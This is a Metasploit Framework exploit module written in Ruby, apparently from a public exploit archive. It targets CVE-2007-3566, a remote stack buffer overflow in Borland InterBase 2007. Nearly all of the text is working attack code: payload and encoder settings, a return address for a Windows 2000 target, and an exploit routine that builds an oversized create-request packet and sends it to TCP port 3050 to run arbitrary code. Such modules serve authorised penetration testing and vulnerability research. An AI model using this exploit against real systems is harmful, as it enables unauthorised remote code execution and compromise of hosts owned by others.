Borland Interbase - 'Create-Request' Remote Buffer Overflow (Metasploit)

##
# $Id: borland_interbase.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Borland Interbase Create-Request Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Borland Interbase 2007.
				By sending a specially crafted create-request packet, a remote
				attacker may be able to execute arbitrary code.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2007-3566' ],
					[ 'OSVDB', '38602' ],
					[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 850,
					'BadChars' => "\x00",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 English All / Borland InterBase 2007',     { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 24 2007'))

		register_options([Opt::RPORT(3050)], self.class)
	end

	def exploit
		connect

		# Build the exploit buffer.... It's a biggie!
		sploit =  "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
		sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
		sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)

		print_status("Trying target #{target.name}...")
		sock.put(sploit)

		handler
		disconnect
	end

end